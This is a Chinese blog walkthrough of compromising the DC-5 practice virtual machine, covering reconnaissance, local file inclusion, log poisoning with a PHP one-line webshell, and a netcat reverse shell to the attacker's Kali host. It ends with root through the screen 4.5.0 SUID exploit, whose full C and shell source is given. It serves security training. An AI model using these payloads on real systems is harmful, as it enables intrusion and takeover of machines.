DC-5靶机详细渗透过程

1.靶机部署

kali安装:https://blog.csdn.net/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载: https://www.five86.com/downloads/DC-5.zip
解压后得到一个.ova的文件:
image.png
使用VMware打开该文件:
image.png
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
image.png
导入成功,打开虚拟机,到此虚拟机部署完成!
image.png
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。

2.信息收集

2.1 IP扫描

使用nmap对段内的靶机进行扫描:

nmap -A -T4 -p- 192.168.11.0/24

发现192.168.11.143开启了80端口,那我门访问试试:
image.png
通过浏览器访问,确定了我们的靶机IP就是143:
image.png

2.2 其他信息收集

确定了靶机IP之后,我们对靶机进行其他信息收集:
扫描开放端口:

nmap -A -T4 -p- 192.168.11.143

image.png
敏感目录扫描:

dirb http://192.168.11.143

image.png
网站指纹扫描:

whatweb -v 192.168.11.143

image.png

3.渗透过程

3.1 漏洞发现

对页面进行大概的浏览,没有发现有用信息,只有一个可以提交东西的页面:
image.png
提交后进入这样一个页面:
image.png

3.2 文件包含漏洞利用

这里我们偶然发现,时间跟当前的日期对不上,而且点刷新时间也会变化:网页还是php?firstname= 类型,猜测应该是存在文件包含漏洞:
image.png
直接拼接路径探测敏感目录,查看passwd文件试试:

http://192.168.11.143/thankyou.php?file=…/…/…/…/etc/passwd

image.png
使用bp抓包试试:
image.png
既然可以抓到我们提交的参数,那我们是否可以抓包,然后将参数修改为一句话木马,然后发送,这样一句话木马就会寻在于nginx服务器的日志当中,理论存在,实践开始:

<?php @eval($_POST['cmd'])?>

image.png
查看nginx服务器的错误日志,发现一句话木马写入成功:

http://192.168.11.143/thankyou.php?file=/var/log/nginx/error.log

image.png
使用蚁剑进行连接试试:

URL地址:http://192.168.11.143/thankyou.php?file=/var/log/nginx/error.log
密码:cmd

image.png
连接成功后即可进入shell:
image.png

3.3 反弹shell

尝试了诸多反弹shell的方法之后,发现可以使用nc进行反弹:
kali监听:

nc -lvp 4444

image.png
蚁剑反弹:

nc 192.168.11.128 4444 -e /bin/bash

image.png

3.4 提权

生成交互式shell:

python -c “import pty;pty.spawn(‘/bin/bash’)”

查找具有SUID权限的文件:

find / -perm -4000 -print 2>/dev/null

发现两个可疑文件:
image.png
使用kali查找screen的漏洞:

searchsploit screen 4.5.0

image.png
将41154.sh文件保存下来,为什么选择这个文件,因为我们查找到了两个文件,第一个是txt文件,很明显不是,第二和是sh文件,可执行文件,所以用它来试试:

locate 41154.sh
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./

image.png
使用ftp将文件下载到靶机:
kali开启ftp:
image.png
靶机端下载:
image.png
运行文件:
image.png
发现运行失败!!!
提示是格式不对,现在有两种方法:

方法一:
首先在Terminal中输入“vim 脚本”命令。
这时会看到文件最下方显示的是“[dos]”,这就表示这个脚本是dos格式的啦。如果没有看到,可以输入“:set ff”,按下Enter键,查看脚本格式。
输入“:set ff=unix”后按Enter,将格式更改为unix格式。
然后再输入“:set ff”,按下Enter键,这时如果看到“fileformat=unix”,这表明格式修改正确啦。
输入“:wq”,保存并退出脚本,再重新运行
因为交互界面不能使用vi或者vim指令,或者是使用之后有些功能用不了,所这个方法大概率用不了!!!

方法二:
将文件拆分,我这里拆分为三个文件:
image.png
进入kali的/tmp文件夹下,创建三个文件,三个文件如下:
为什么要进入/tmp文件夹下呢?
答:因为我们编译好的文件要在靶机的/tmp文件夹下运行,其他位置可能会存在权限不足的问题,所以程序里面的路径是/tmp目录下,为了保持和靶机统一,我们就在kali的/tmp目录下创建和编译!

第一个文件:
libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

第二个文件:
rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

第三个文件:
getshell.sh

#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell      

我们不知道靶机里面是否可以编译c语言文件,所以提前在kali里面编译好:

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

image.png
然后将这三个文件全部下载到靶机:
kali端开启ftp:
image.png
靶机端使用wget下载,不会?不会自己去搜wget使用方法:
image.png
然后运行getshell.sh
提权成功!
image.png

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小秋LY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值